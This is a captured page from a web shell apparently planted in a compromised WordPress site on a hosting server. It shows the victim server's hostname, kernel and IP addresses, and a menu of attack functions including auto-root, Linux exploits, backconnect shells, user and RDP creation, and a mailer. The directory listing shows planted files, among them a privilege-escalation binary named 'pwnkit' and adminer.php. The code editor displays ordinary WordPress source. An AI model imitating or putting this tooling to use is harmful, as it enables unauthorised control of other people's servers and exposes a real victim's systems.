Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
ZOUERATE.COM /
leranch /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
Text
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
atomlib.php
10.67
KB
-rwxr--r--
author-template.php
13.84
KB
-rwxr--r--
bookmark-template.php
8.74
KB
-rwxr--r--
bookmark.php
10.44
KB
-rwxr--r--
cache.php
11.59
KB
-rwxr--r--
canonical.php
9.52
KB
-rwxr--r--
capabilities.php
12.43
KB
-rwxr--r--
category-template.php
16.1
KB
-rwxr--r--
category.php
11.08
KB
-rwxr--r--
class-IXR.php
27.47
KB
-rwxr--r--
class-phpass.php
6.65
KB
-rwxr--r--
class-phpmailer.php
43.94
KB
-rwxr--r--
class-pop3.php
20.18
KB
-rwxr--r--
class-smtp.php
32.64
KB
-rwxr--r--
class-snoopy.php
37
KB
-rwxr--r--
class.wp-dependencies.php
5.35
KB
-rwxr--r--
class.wp-scripts.php
2.61
KB
-rwxr--r--
class.wp-styles.php
2.31
KB
-rwxr--r--
classes.php
24.26
KB
-rwxr--r--
comment-template.php
23.33
KB
-rwxr--r--
comment.php
43.31
KB
-rwxr--r--
compat.php
2.63
KB
-rwxr--r--
cron.php
5.06
KB
-rwxr--r--
default-filters.php
6.73
KB
-rwxr--r--
deprecated.php
36.67
KB
-rwxr--r--
feed-atom-comments.php
3.38
KB
-rwxr--r--
feed-atom.php
2.37
KB
-rwxr--r--
feed-rdf.php
2.04
KB
-rwxr--r--
feed-rss.php
1.23
KB
-rwxr--r--
feed-rss2-comments.php
2.45
KB
-rwxr--r--
feed-rss2.php
2.05
KB
-rwxr--r--
feed.php
14.09
KB
-rwxr--r--
formatting.php
45.39
KB
-rwxr--r--
functions.php
71.02
KB
-rwxr--r--
functions.wp-scripts.php
1.98
KB
-rwxr--r--
functions.wp-styles.php
1.11
KB
-rwxr--r--
general-template.php
39.06
KB
-rwxr--r--
gettext.php
11.11
KB
-rwxr--r--
kses.php
30.24
KB
-rwxr--r--
l10n.php
9.8
KB
-rwxr--r--
link-template.php
25.37
KB
-rwxr--r--
locale.php
9.31
KB
-rwxr--r--
media.php
17.32
KB
-rwxr--r--
pluggable.php
51.25
KB
-rwxr--r--
plugin.php
21.06
KB
-rwxr--r--
post-template.php
20.22
KB
-rwxr--r--
post.php
95.43
KB
-rwxr--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
49.11
KB
-rwxr--r--
registration-functions.php
200
B
-rwxr--r--
registration.php
8.66
KB
-rwxr--r--
rewrite.php
33.22
KB
-rwxr--r--
rss-functions.php
183
B
-rwxr--r--
rss.php
21.02
KB
-rwxr--r--
script-loader.php
14.37
KB
-rwxr--r--
shortcodes.php
7.37
KB
-rwxr--r--
streams.php
4.33
KB
-rwxr--r--
taxonomy.php
67.66
KB
-rwxr--r--
template-loader.php
2.13
KB
-rwxr--r--
theme.php
18.91
KB
-rwxr--r--
update.php
5.61
KB
-rwxr--r--
user.php
9.88
KB
-rwxr--r--
vars.php
2.47
KB
-rwxr--r--
version.php
374
B
-rwxr--r--
widgets.php
55
KB
-rwxr--r--
wlwmanifest.xml
1013
B
-rwxr--r--
wp-db.php
23.78
KB
-rwxr--r--
wp-diff.php
9.93
KB
-rwxr--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : capabilities.php
<?php class WP_Roles { var $roles; var $role_objects = array(); var $role_names = array(); var $role_key; var $use_db = true; function WP_Roles() { $this->_init(); } function _init () { global $wpdb; global $wp_user_roles; $this->role_key = $wpdb->prefix . 'user_roles'; if ( ! empty($wp_user_roles) ) { $this->roles = $wp_user_roles; $this->use_db = false; } else { $this->roles = get_option($this->role_key); } if ( empty($this->roles) ) return; $this->role_objects = array(); $this->role_names = array(); foreach ($this->roles as $role => $data) { $this->role_objects[$role] = new WP_Role($role, $this->roles[$role]['capabilities']); $this->role_names[$role] = $this->roles[$role]['name']; } } function add_role($role, $display_name, $capabilities = array()) { if ( isset($this->roles[$role]) ) return; $this->roles[$role] = array( 'name' => $display_name, 'capabilities' => $capabilities); if ( $this->use_db ) update_option($this->role_key, $this->roles); $this->role_objects[$role] = new WP_Role($role, $capabilities); $this->role_names[$role] = $display_name; return $this->role_objects[$role]; } function remove_role($role) { if ( ! isset($this->role_objects[$role]) ) return; unset($this->role_objects[$role]); unset($this->role_names[$role]); unset($this->roles[$role]); if ( $this->use_db ) update_option($this->role_key, $this->roles); } function add_cap($role, $cap, $grant = true) { $this->roles[$role]['capabilities'][$cap] = $grant; if ( $this->use_db ) update_option($this->role_key, $this->roles); } function remove_cap($role, $cap) { unset($this->roles[$role]['capabilities'][$cap]); if ( $this->use_db ) update_option($this->role_key, $this->roles); } function &get_role($role) { if ( isset($this->role_objects[$role]) ) return $this->role_objects[$role]; else return null; } function get_names() { return $this->role_names; } function is_role($role) { return isset($this->role_names[$role]); } } class WP_Role { var $name; var $capabilities; function WP_Role($role, $capabilities) { $this->name = $role; $this->capabilities = $capabilities; } function add_cap($cap, $grant = true) { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); $this->capabilities[$cap] = $grant; $wp_roles->add_cap($this->name, $cap, $grant); } function remove_cap($cap) { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); unset($this->capabilities[$cap]); $wp_roles->remove_cap($this->name, $cap); } function has_cap($cap) { $capabilities = apply_filters('role_has_cap', $this->capabilities, $cap, $this->name); if ( !empty($capabilities[$cap]) ) return $capabilities[$cap]; else return false; } } class WP_User { var $data; var $ID = 0; var $id = 0; // Deprecated, use $ID instead. var $caps = array(); var $cap_key; var $roles = array(); var $allcaps = array(); function WP_User($id, $name = '') { if ( empty($id) && empty($name) ) return; if ( ! is_numeric($id) ) { $name = $id; $id = 0; } if ( ! empty($id) ) $this->data = get_userdata($id); else $this->data = get_userdatabylogin($name); if ( empty($this->data->ID) ) return; foreach (get_object_vars($this->data) as $key => $value) { $this->{$key} = $value; } $this->id = $this->ID; $this->_init_caps(); } function _init_caps() { global $wpdb; $this->cap_key = $wpdb->prefix . 'capabilities'; $this->caps = &$this->{$this->cap_key}; if ( ! is_array($this->caps) ) $this->caps = array(); $this->get_role_caps(); } function get_role_caps() { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); //Filter out caps that are not role names and assign to $this->roles if(is_array($this->caps)) $this->roles = array_filter(array_keys($this->caps), array(&$wp_roles, 'is_role')); //Build $allcaps from role caps, overlay user's $caps $this->allcaps = array(); foreach( (array) $this->roles as $role) { $role = $wp_roles->get_role($role); $this->allcaps = array_merge($this->allcaps, $role->capabilities); } $this->allcaps = array_merge($this->allcaps, $this->caps); } function add_role($role) { $this->caps[$role] = true; update_usermeta($this->ID, $this->cap_key, $this->caps); $this->get_role_caps(); $this->update_user_level_from_caps(); } function remove_role($role) { if ( empty($this->roles[$role]) || (count($this->roles) <= 1) ) return; unset($this->caps[$role]); update_usermeta($this->ID, $this->cap_key, $this->caps); $this->get_role_caps(); } function set_role($role) { foreach($this->roles as $oldrole) unset($this->caps[$oldrole]); if ( !empty($role) ) { $this->caps[$role] = true; $this->roles = array($role => true); } else { $this->roles = false; } update_usermeta($this->ID, $this->cap_key, $this->caps); $this->get_role_caps(); $this->update_user_level_from_caps(); } function level_reduction($max, $item) { if(preg_match('/^level_(10|[0-9])$/i', $item, $matches)) { $level = intval($matches[1]); return max($max, $level); } else { return $max; } } function update_user_level_from_caps() { global $wpdb; $this->user_level = array_reduce(array_keys($this->allcaps), array(&$this, 'level_reduction'), 0); update_usermeta($this->ID, $wpdb->prefix.'user_level', $this->user_level); } function add_cap($cap, $grant = true) { $this->caps[$cap] = $grant; update_usermeta($this->ID, $this->cap_key, $this->caps); } function remove_cap($cap) { if ( empty($this->caps[$cap]) ) return; unset($this->caps[$cap]); update_usermeta($this->ID, $this->cap_key, $this->caps); } function remove_all_caps() { global $wpdb; $this->caps = array(); update_usermeta($this->ID, $this->cap_key, ''); update_usermeta($this->ID, $wpdb->prefix.'user_level', ''); $this->get_role_caps(); } //has_cap(capability_or_role_name) or //has_cap('edit_post', post_id) function has_cap($cap) { if ( is_numeric($cap) ) $cap = $this->translate_level_to_cap($cap); $args = array_slice(func_get_args(), 1); $args = array_merge(array($cap, $this->ID), $args); $caps = call_user_func_array('map_meta_cap', $args); // Must have ALL requested caps $capabilities = apply_filters('user_has_cap', $this->allcaps, $caps, $args); foreach ($caps as $cap) { //echo "Checking cap $cap<br />"; if(empty($capabilities[$cap]) || !$capabilities[$cap]) return false; } return true; } function translate_level_to_cap($level) { return 'level_' . $level; } } // Map meta capabilities to primitive capabilities. function map_meta_cap($cap, $user_id) { $args = array_slice(func_get_args(), 2); $caps = array(); switch ($cap) { case 'delete_user': $caps[] = 'delete_users'; break; case 'edit_user': if ( !isset($args[0]) || $user_id != $args[0] ) { $caps[] = 'edit_users'; } break; case 'delete_post': $author_data = get_userdata($user_id); //echo "post ID: {$args[0]}<br />"; $post = get_post($args[0]); if ( 'page' == $post->post_type ) { $args = array_merge(array('delete_page', $user_id), $args); return call_user_func_array('map_meta_cap', $args); } $post_author_data = get_userdata($post->post_author); //echo "current user id : $user_id, post author id: " . $post_author_data->ID . "<br />"; // If the user is the author... if ($user_id == $post_author_data->ID) { // If the post is published... if ($post->post_status == 'publish') $caps[] = 'delete_published_posts'; else // If the post is draft... $caps[] = 'delete_posts'; } else { // The user is trying to edit someone else's post. $caps[] = 'delete_others_posts'; // The post is published, extra cap required. if ($post->post_status == 'publish') $caps[] = 'delete_published_posts'; else if ($post->post_status == 'private') $caps[] = 'delete_private_posts'; } break; case 'delete_page': $author_data = get_userdata($user_id); //echo "post ID: {$args[0]}<br />"; $page = get_page($args[0]); $page_author_data = get_userdata($page->post_author); //echo "current user id : $user_id, page author id: " . $page_author_data->ID . "<br />"; // If the user is the author... if ($user_id == $page_author_data->ID) { // If the page is published... if ($page->post_status == 'publish') $caps[] = 'delete_published_pages'; else // If the page is draft... $caps[] = 'delete_pages'; } else { // The user is trying to edit someone else's page. $caps[] = 'delete_others_pages'; // The page is published, extra cap required. if ($page->post_status == 'publish') $caps[] = 'delete_published_pages'; else if ($page->post_status == 'private') $caps[] = 'delete_private_pages'; } break; // edit_post breaks down to edit_posts, edit_published_posts, or // edit_others_posts case 'edit_post': $author_data = get_userdata($user_id); //echo "post ID: {$args[0]}<br />"; $post = get_post($args[0]); if ( 'page' == $post->post_type ) { $args = array_merge(array('edit_page', $user_id), $args); return call_user_func_array('map_meta_cap', $args); } $post_author_data = get_userdata($post->post_author); //echo "current user id : $user_id, post author id: " . $post_author_data->ID . "<br />"; // If the user is the author... if ($user_id == $post_author_data->ID) { // If the post is published... if ($post->post_status == 'publish') $caps[] = 'edit_published_posts'; else // If the post is draft... $caps[] = 'edit_posts'; } else { // The user is trying to edit someone else's post. $caps[] = 'edit_others_posts'; // The post is published, extra cap required. if ($post->post_status == 'publish') $caps[] = 'edit_published_posts'; else if ($post->post_status == 'private') $caps[] = 'edit_private_posts'; } break; case 'edit_page': $author_data = get_userdata($user_id); //echo "post ID: {$args[0]}<br />"; $page = get_page($args[0]); $page_author_data = get_userdata($page->post_author); //echo "current user id : $user_id, page author id: " . $page_author_data->ID . "<br />"; // If the user is the author... if ($user_id == $page_author_data->ID) { // If the page is published... if ($page->post_status == 'publish') $caps[] = 'edit_published_pages'; else // If the page is draft... $caps[] = 'edit_pages'; } else { // The user is trying to edit someone else's page. $caps[] = 'edit_others_pages'; // The page is published, extra cap required. if ($page->post_status == 'publish') $caps[] = 'edit_published_pages'; else if ($page->post_status == 'private') $caps[] = 'edit_private_pages'; } break; case 'read_post': $post = get_post($args[0]); if ( 'page' == $post->post_type ) { $args = array_merge(array('read_page', $user_id), $args); return call_user_func_array('map_meta_cap', $args); } if ( 'private' != $post->post_status ) { $caps[] = 'read'; break; } $author_data = get_userdata($user_id); $post_author_data = get_userdata($post->post_author); if ($user_id == $post_author_data->ID) $caps[] = 'read'; else $caps[] = 'read_private_posts'; break; case 'read_page': $page = get_page($args[0]); if ( 'private' != $page->post_status ) { $caps[] = 'read'; break; } $author_data = get_userdata($user_id); $page_author_data = get_userdata($page->post_author); if ($user_id == $page_author_data->ID) $caps[] = 'read'; else $caps[] = 'read_private_pages'; break; default: // If no meta caps match, return the original cap. $caps[] = $cap; } return $caps; } // Capability checking wrapper around the global $current_user object. function current_user_can($capability) { $current_user = wp_get_current_user(); if ( empty($current_user) ) return false; $args = array_slice(func_get_args(), 1); $args = array_merge(array($capability), $args); return call_user_func_array(array(&$current_user, 'has_cap'), $args); } // Convenience wrappers around $wp_roles. function get_role($role) { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); return $wp_roles->get_role($role); } function add_role($role, $display_name, $capabilities = array()) { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); return $wp_roles->add_role($role, $display_name, $capabilities); } function remove_role($role) { global $wp_roles; if ( ! isset($wp_roles) ) $wp_roles = new WP_Roles(); return $wp_roles->remove_role($role); } ?>
Close